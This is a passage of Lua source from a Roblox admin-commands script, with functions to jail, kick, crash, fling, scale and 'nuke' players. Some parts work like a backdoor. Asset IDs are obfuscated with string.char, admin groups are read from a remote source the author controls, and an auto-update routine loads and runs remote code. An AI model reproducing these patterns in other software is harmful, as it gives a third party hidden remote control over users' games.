930 if Number >= 0.5 then
931 return math.ceil(Number)
932 elseif Number < 0.5 then
933 return math.floor(Number)
934 end
935end
936
937local AdminID,Got = nil,false
938repeat wait()
939 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
940until Got == true
941
942function CORE:GetTable(ID)
943 local Thing = nil
944 repeat wait()
945 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
946 until Thing
947 return Thing
948end
949
950function CORE:InAdminGroup(Speaker)
951 local IsIn = false
952 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
953 if Speaker:IsInGroup(Get) then
954 IsIn = true
955 end
956 end
957 if IsIn == true then
958 return true
959 else
960 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
961 return false
962 end
963end
964
965function CORE:ReverseTable(Table)
966 if type(Table) ~= "table" then return Table end
967 local NewTable = {}
968 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
969 return NewTable
970end
971
972function CORE:Log(LogTable, Player, Chat)
973 local PlayerName = tostring(Player)
974 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
975 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
976end
977
978function CORE:Jail(Player)
979 if not Player then return nil end
980 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
981 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
982 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
983 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
984 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
985 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
986 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
987 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
988 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
989 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
990 Cell:MoveTo(Vector3.new(0,3,0))
991
992 if Player.Character and Player.Character:FindFirstChild("Torso") then
993 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
994 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
995 end
996 table.insert(Dispose, Cell)
997 Jails[Player.Name] = Cell
998end
999
1000function CORE:UnJail(Player)
1001 if not Player then return nil end
1002 if Jails[Player.Name] then
1003 Jails[Player.Name]:Destroy()
1004 Jails[Player.Name] = nil
1005 end
1006end
1007
1008function CORE:ChangeName(Player, NewName)
1009 if not Player or not NewName then return nil end
1010 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1011 local NewName = STRING:FormatReplace(Player, NewName)
1012
1013 for _,Obj in pairs(Player.Character:GetChildren()) do
1014 if Obj.Name == "Label" then Obj:Destroy() end
1015 end
1016
1017 local Head = Player.Character.Head
1018 local HeadClone = Head:Clone()
1019
1020 -- make actual head invisible
1021 Head.Transparency = 1
1022 ypcall(function() Head.face.Transparency = 1 end)
1023
1024 -- make fake head visible
1025 HeadClone.Transparency = 0
1026 ypcall(function() HeadClone.face.Transparency = 0 end)
1027
1028 local Label = Instance.new("Model", Player.Character)
1029 Label.Name = "Label"
1030
1031 local Model = Instance.new("Model", Label)
1032 Model.Name = NewName
1033
1034 local HumanoidClone = Instance.new("Humanoid", Model)
1035 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1036
1037 HeadClone.Position = Vector3.new(0,100,0)
1038 HeadClone.CanCollide = false
1039 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1040
1041
1042 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1043 HeadClone.Parent = Model
1044 local Weld = Instance.new("Weld", HeadClone)
1045 Weld.Part0 = HeadClone
1046 Weld.Part1 = Head
1047 end)
1048 end
1049end
1050
1051function CORE:UpdateAdmin()
1052 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1053 return nil
1054 end
1055 local UpdateModel = AdminID
1056 if UpdateModel == 0 then return end
1057 local NewAdminModel = nil
1058 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1059 if NewAdminModel then
1060 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1061 if NewAdmin then
1062 local NewVersion = NewAdmin:FindFirstChild("Version")
1063 if NewVersion.Value ~= CORE.Version.Value then
1064 if ExploitModule then
1065 ExploitModule.Disabled = true
1066 ExploitModule:Destroy()
1067 end
1068 NewAdmin.Disabled = true
1069 NewAdmin.Parent = Workspace
1070 if not Settings then
1071 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1072 if NewSettings then NewSettings.Parent = Workspace end
1073 end
1074 wait() NewAdmin.Disabled = false
1075 CORE:RemoveAdmin()
1076 else
1077 NewAdminModel:Destroy()
1078 end
1079 end
1080 end
1081end
1082
1083function CORE:UnpackPlayers(Players)
1084 local PlayerNames = ""
1085 for Num,Player in pairs(Players) do
1086 if Player ~= nil then
1087 if Num ~= #Players then
1088 PlayerNames = PlayerNames..Player.Name..", "
1089 else
1090 PlayerNames = PlayerNames..Player.Name
1091 end
1092 end
1093 end
1094 return PlayerNames
1095end
1096
1097function CORE:GetValue(Value)
1098 if Value:IsA("StringValue") then
1099 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1100 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1101 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1102 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1103 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1104 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1105 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1106 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1107 if Admin == Value.Value then
1108 table.remove(Settings.Ranks["Admin"],Num)
1109 end
1110 end
1111 end end
1112 end
1113end
1114
1115function CORE:GetPlayer(ID)
1116 local Return = {"Unknown", ID}
1117 if tonumber(ID) then
1118 for _,Data in pairs(CharacterCache) do
1119 if ID == Data[2] then
1120 return Data
1121 end
1122 end
1123 ypcall(function()
1124 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1125 if Name then
1126 local Data = {Name, ID}
1127 table.insert(CharacterCache, Data)
1128 Return = Data
1129 end
1130 end)
1131 else
1132 local Name = tostring(ID)
1133 for _,Data in pairs(CharacterCache) do
1134 if string.lower(Name) == string.lower(Data[1]) then
1135 return Data
1136 end
1137 end
1138 ypcall(function()
1139 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1140 if PlayerID then
1141 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1142 local Data = {Name, PlayerID}
1143 table.insert(CharacterCache, Data)
1144 Return = Data
1145 end
1146 end)
1147 end
1148
1149 return Return
1150end
1151
1152function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1153 if ID and #tostring(ID) >= 1 then
1154 local PlayerName = nil
1155
1156 local Players = STRING:Scan(ID, Speaker)
1157 if #Players >= 1 then -- if player is found in server
1158 ID = Players[1].UserId
1159 elseif tonumber(ID) then
1160 local Data = CORE:GetPlayer(ID)
1161 PlayerName = Data[1]
1162 else
1163 local Data = CORE:GetPlayer(tostring(ID))
1164 PlayerName = Data[1]
1165 ID = Data[2]
1166 end
1167
1168 if tonumber(ID) == 20018 then -- exploding easter bunny
1169 local OldID = ID
1170 ID = 1
1171 if Speaker then
1172 if RANK:GetRank(Speaker) == "Member" then
1173 coroutine.wrap(function()
1174 wait(1)
1175 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1176 end)()
1177 else ID = OldID
1178 end
1179 end
1180 elseif tonumber(ID) == 1311 then -- ffjosh
1181 local OldID = ID
1182 ID = 1
1183 if Speaker then
1184 if RANK:GetRank(Speaker) == "Member" then
1185 coroutine.wrap(function()
1186 wait(1)
1187 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1188 end)()
1189 else ID = OldID
1190 end
1191 end
1192 end
1193
1194 if tonumber(ID) then
1195 local Position = nil
1196 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1197 if ManualPos then
1198 Position = ManualPos
1199 else
1200 Position = Player.Character.Torso.Position
1201 end
1202 end
1203 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1204 wait() Player:LoadCharacter() wait()
1205 if Position then Player.Character:MoveTo(Position) end
1206 if not Perm then
1207 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1208 end
1209 if NameChar and PlayerName then
1210 wait(2)
1211 CORE:ChangeName(Player, PlayerName)
1212 end
1213 end
1214 end
1215end)() end
1216
1217function CORE:GenerateShield(Player)
1218 if not Player then return nil end
1219 if not Player.Character then return nil end
1220 local Torso = Player.Character:FindFirstChild("Torso")
1221 if not Torso then return nil end
1222
1223 local Shield = Player.Character:FindFirstChild("Shield")
1224 if Shield then Shield:Destroy() end
1225
1226 Shield = Instance.new("Part", Player.Character)
1227 Shield.Name = "Shield"
1228 Shield.Locked = true
1229 Shield.CanCollide = false
1230 Shield.Size = Vector3.new(10,10,10)
1231 Shield.Shape = "Ball"
1232 Shield.Color = GUI:GetColor()
1233 Shield.Transparency = 0.5
1234 Shield.TopSurface = "Smooth"
1235 Shield.BottomSurface = "Smooth"
1236 Shield.Anchored = true
1237 Shield.Position = Torso.Position
1238
1239 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1240 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1241
1242 Hum:Play()
1243
1244 Shield.Touched:connect(function(Part)
1245 if Part.Parent ~= Server.Workspace then
1246 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1247 if Humanoid then
1248 local Char = Humanoid.Parent
1249 if Char:IsA("Model") and Humanoid.Health > 0 then
1250 if Char ~= Player.Character then
1251 Char:BreakJoints()
1252 Zap:Play()
1253 end
1254 end
1255 end
1256 end
1257 end)
1258
1259 coroutine.wrap(function() repeat wait()
1260 Shield.CFrame = Torso.CFrame
1261 until Torso.Parent == nil or Shield.Parent == nil end)()
1262end
1263
1264function CORE:FlingPlayer(Player)
1265 if Player and Player.Character then
1266 if Player.Character:FindFirstChild("Torso") then
1267 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1268 Fling.Name = "Fling"
1269 Fling.force = Vector3.new(10000,10000,10000)
1270 end
1271 end
1272end
1273
1274function CORE:Kick(Player, CustomMessage)
1275 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1276 coroutine.wrap(function()
1277 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1278 wait(1)
1279 Player:Kick(CustomMessage)
1280 end)()
1281end
1282
1283function CORE:Crash(Player)
1284 local Parent = Player
1285 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1286 elseif Player.Character then Parent = Player.Character end
1287
1288 CORE:ExecuteResource("Crash", Parent)
1289end
1290
1291function CORE:RestoreCamera(Player)
1292 if Player.Backpack then
1293 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1294 end
1295end
1296
1297function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1298 local function ScanInstance(Object)
1299 if #Object:GetChildren() > 0 then
1300 for _,Obj in pairs(Object:GetChildren()) do
1301 local IsType = false
1302 if ObjTypes and #ObjTypes > 0 then
1303 for _,ObjType in pairs(ObjTypes) do
1304 if Obj:IsA(ObjType) then
1305 IsType = true
1306 break
1307 end
1308 end
1309 else
1310 IsType = true
1311 end
1312 if IsType == true then
1313 ActiveFunc(Obj)
1314 end
1315 ScanInstance(Obj)
1316 end
1317 end
1318 end
1319 ScanInstance(BaseObj)
1320end
1321
1322function CORE:AnchorPlayer(Player)
1323 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1324
1325 Player.Character.Humanoid.WalkSpeed = 0
1326 for _,Object in pairs(Player.Character:GetChildren()) do
1327 if Object:IsA("BasePart") then
1328 Object.Anchored = true
1329 end
1330 end
1331end
1332
1333function CORE:UnanchorPlayer(Player)
1334 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1335
1336 Player.Character.Humanoid.WalkSpeed = 16
1337 for _,Object in pairs(Player.Character:GetChildren()) do
1338 if Object:IsA("BasePart") then
1339 Object.Anchored = false
1340 end
1341 end
1342end
1343
1344function CORE:InvisiblePlayer(Player)
1345 if not Player or not Player.Character then return end
1346
1347 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1348end
1349
1350function CORE:VisiblePlayer(Player)
1351 if not Player or not Player.Character then return end
1352
1353 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1354end
1355
1356function CORE:Nuke(Player) coroutine.wrap(function()
1357 local Pos = CFrame.new(0,1,0)
1358 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1359 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1360 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1361 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1362 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1363 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1364
1365 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1366
1367 Server.Lighting.Brightness = 5
1368 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1369 Server.OutdoorAmbient = Color3.new(1,1,1)
1370
1371 local Exp = Instance.new("Explosion", Server.Workspace)
1372 Exp.Position = Pos.p
1373 Exp.BlastPressure = 10000000
1374 Exp.BlastRadius = 1000000
1375 Exp.Hit:connect(function(Part)
1376 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1377 ypcall(function()
1378 Part.Anchored = false
1379 Part.BrickColor = BrickColor.new("Black")
1380 Part.Material = "Slate"
1381 Part:BreakJoints()
1382 end)
1383 end
1384 end)
1385
1386 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1387 BoomSound:Play()
1388 for i = 0,100,0.5 do
1389 Blast.Anchored = true
1390 Wave.Anchored = true
1391 BlastMesh.Scale = Vector3.new(i,i,i)
1392 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1393 Blast.CFrame = Pos
1394 wait()
1395 end
1396 BoomSound:Stop()
1397 Blast:Destroy()
1398 Wave:Destroy()
1399 wait()
1400 BoomSound:Destroy()
1401 Effect:Destroy()
1402 for i = 10,5,-1 do
1403 Server.Lighting.Brightness = (i-5) + 1
1404 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1405 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1406 wait(0.05)
1407 end
1408end)() end
1409
1410function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1411 local AssetID = tonumber(AssetID)
1412 local Item = nil
1413 if AssetID and AssetID ~= 1055299 then
1414 local CanInsert = true
1415 if AbuseMode then
1416 for _,ID in pairs(RemoteAbuseGear) do
1417 if AssetID == tonumber(ID) then CanInsert = false break end
1418 end
1419 for _,ID in pairs(Settings.AbusableGear) do
1420 if AssetID == tonumber(ID) then CanInsert = false break end
1421 end
1422 end
1423 if CanInsert then
1424 Item = Server.IS:LoadAsset(AssetID)
1425 if GetFirstChild then
1426 Item = Item:GetChildren()[1]
1427 if FirstChildTypes and Item then
1428 local ValidType = false
1429 for _,Type in pairs(FirstChildTypes) do
1430 if Item:IsA(Type) then
1431 ValidType = true
1432 break
1433 end
1434 end
1435 if ValidType == false then
1436 Item = nil
1437 end
1438 end
1439 end
1440 if Item and Parent then
1441 Item.Parent = Parent
1442 end
1443 end
1444 end
1445 return Item
1446end
1447
1448function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1449 if not Player or not Player.Character then return nil end
1450 PID = tonumber(PID)
1451 for _,Obj in pairs(Player.Character:GetChildren()) do
1452 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1453 end
1454 if PID then
1455 -- back when we needed HttpService to get packages.
1456 --[[
1457 if PackageCache[PID] then
1458 for _,ID in pairs(PackageCache[PID]) do
1459 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1460 end
1461 else
1462 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1463 if IDsJSON then
1464 local IDs = REMOTE:Decode(IDsJSON)
1465 if IDs then
1466 if not IDs["Error"] then
1467 table.insert(PackageCache, IDs)
1468 for _,ID in pairs(IDs) do
1469 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1470 end
1471 end
1472 end
1473 end
1474 end
1475 ]]
1476 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1477 local IDs = {}
1478 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1479 if #IDs > 0 then
1480 for _,ID in pairs(IDs) do
1481 local PackagePart = CORE:Insert(ID)
1482 for _,Obj in pairs(PackagePart:GetChildren()) do
1483 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1484 Obj.Parent = Player.Character
1485 elseif Obj:IsA("Folder") then
1486 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1487 Obj:GetChildren()[1].Parent = Player.Character
1488 end
1489 end
1490 end
1491 end
1492 end
1493 end
1494end)() end
1495
1496function CORE:ChangeBet(Bet)
1497 if tostring(Bet) and Bet ~= Settings.Bet then
1498 for Index,Data in pairs(Commands) do
1499 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1500 end
1501 Settings.Bet = Bet
1502 end
1503end
1504
1505function CORE:ResetLighting()
1506 ModLighting = false wait(0.2) ModLighting = true
1507end
1508
1509function CORE:Fly(Player, Force)
1510 if Player and Player.Character then
1511 local StopFly = Instance.new("RemoteFunction", Player.Character)
1512 StopFly.Name = "StopMMLFly"
1513 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1514 end
1515end
1516
1517function CORE:GiveTools(Player, Type)
1518 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1519 Type = string.lower(Type)
1520 local _,RankNum = RANK:GetRank(Player)
1521 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1522 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1523
1524 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1525 for Name,Type in pairs(BaseBuildTools) do
1526 local Tool = Instance.new("HopperBin", Player.Backpack)
1527 Tool.Name = Name
1528 Tool.BinType = Type
1529 end
1530 elseif Type == "psbtools" then
1531 for _,Tool in pairs(BuildTools) do
1532 CORE:Insert(Tool, Player.Backpack, true)
1533 end
1534 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1535 if F3X then
1536 local F3X = F3X:Clone()
1537 F3X.Parent = Player.Backpack
1538 end
1539 elseif Type == "btools" then
1540 if F3X then
1541 local F3X = F3X:Clone()
1542 F3X.Parent = Player.Backpack
1543 end
1544 for Name,Type in pairs(BaseBuildTools) do
1545 local Tool = Instance.new("HopperBin", Player.Backpack)
1546 Tool.Name = Name
1547 Tool.BinType = Type
1548 end
1549 for _,Tool in pairs(BuildTools) do
1550 CORE:Insert(Tool, Player.Backpack, true)
1551 end
1552 else
1553 for _,Region in pairs(ToolRegions) do
1554 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1555 if Type == "all" then
1556 local NewItem = Item:Clone()
1557 NewItem.Parent = Player.Backpack
1558 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1559 local NewItem = Item:Clone()
1560 NewItem.Parent = Player.Backpack
1561 end
1562 end)
1563 end
1564 end
1565end
1566
1567function CORE:Scale(Player, ScalePercent)
1568 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1569 local Ratio = ScalePercent/100
1570 if Ratio < 0.05 then Ratio = 0.05 end
1571 if Ratio > 100 then Ratio = 100 end
1572 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1573 local Char = Player.Character
1574
1575 local Clean = Char:FindFirstChild("Clean")
1576 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1577 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1578
1579 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1580 local Welds = {}
1581 local Parts = {}
1582
1583 local function Handle(Obj)
1584 if Obj:IsA("BasePart") and not JustWeld then
1585 table.insert(Parts, Obj)
1586 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1587 if Obj.Name == "MML Mesh" then
1588 Obj:Destroy()
1589 end
1590 if Obj.MeshType == Enum.MeshType.FileMesh then
1591 Obj.Offset = Obj.Offset * ScaleRatio
1592 Obj.Scale = Obj.Scale * ScaleRatio
1593 elseif Ratio < 1 then
1594 Obj.Offset = Obj.Offset * ScaleRatio
1595 Obj.Scale = Obj.Scale * ScaleRatio
1596 end
1597 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1598 if Ratio < 1 then
1599 local BodyPart = ""
1600 local TextureID = Obj.BaseTextureId
1601 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1602 if TextureID == 0 then TextureID = nil end
1603 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1604 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1605 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1606 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1607 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1608 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1609 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1610 NewMesh.Name = "MML Mesh"
1611 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1612 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1613 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1614 Obj:Destroy()
1615 end
1616 elseif Obj:IsA("JointInstance") then
1617 local NewWeld = Obj:Clone()
1618 table.insert(Welds, {NewWeld, Obj.Parent})
1619 elseif NewAdd == true and not JustWeld then
1620 if Obj:IsA("Tool") then
1621 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1622 elseif Obj:IsA("Accoutrement") then
1623 --Cycle(Char.Head, ScaleRatio, false, true)
1624 end
1625 end
1626 if #Obj:GetChildren() > 0 then
1627 for _,NewObj in pairs(Obj:GetChildren()) do
1628 Handle(NewObj, ScaleRatio)
1629 end
1630 end
1631 end
1632 Handle(BaseObj)
1633 for _,Part in pairs(Parts) do
1634 if Ratio >= 1 then
1635 Part.Size = Part.Size * ScaleRatio
1636 else
1637 local Allowed = true
1638 for _,Obj in pairs(Part:GetChildren()) do
1639 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1640 Allowed = false
1641 end
1642 end
1643 if Allowed == true then
1644 local NewMesh = Instance.new("BlockMesh", Part)
1645 NewMesh.Name = "MML Mesh"
1646 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1647 end
1648 end
1649 end
1650 for _,WeldData in pairs(Welds) do
1651 if WeldData[1] then
1652 local Obj = WeldData[1]
1653 local NewWeld = Obj:Clone()
1654
1655 NewWeld.Parent = WeldData[2]
1656 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1657 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1658 end
1659 end
1660 for _,Part in pairs(Parts) do
1661 Part:MakeJoints()
1662 end
1663 Welds = {}
1664 Parts = {}
1665 end
1666 Cycle(Char, Ratio)
1667 Char:MakeJoints()
1668
1669 local Added = Char.ChildAdded:connect(function(Obj)
1670 Cycle(Obj, Ratio, NewAdd)
1671 end)
1672 local Removed = Char.ChildRemoved:connect(function(Obj)
1673 Cycle(Obj, Ratio^-1, NewAdd)
1674 end)
1675
1676 Clean.OnInvoke = function()
1677 Added:disconnect()
1678 Removed:disconnect()
1679 local Location = Vector3.new(0,5,0)
1680 if Char:FindFirstChild("Torso") then
1681 Location = Char.Torso.Position + Vector3.new(0,2,0)
1682 end
1683 Player:LoadCharacter()
1684 wait(0.5)
1685 Player.Character:MoveTo(Location)
1686 wait(0.5)
1687 return nil
1688 end
1689
1690 if Char:FindFirstChild("Torso") then
1691 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1692 end
1693 if Char:FindFirstChild("Humanoid") then
1694 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1695 end
1696 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1697 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1698 end
1699end
1700
1701function CORE:AddExploit(PlayerClient, Data)
1702 local PlayerClientName = PlayerClient.Name
1703 local NewData = CORE:GetTime(true, true).." @ "..Data
1704 for _,Player in pairs(Server.Players:GetChildren()) do
1705 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1706 end
1707 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1708 if type(ExploitLog) ~= "table" then
1709 Server.GDS:SetAsync("ExploitLog", {NewData})
1710 else
1711 table.insert(ExploitLog, NewData)
1712 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1713 end
1714 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1715
1716 return true
1717end
1718
1719function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1720 if not tostring(Name) then Name = "Dummy" end
1721 if not Position then Position = Vector3.new(0,5,0) end
1722 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1723 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1724 end
1725
1726 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1727 Figure:MakeJoints()
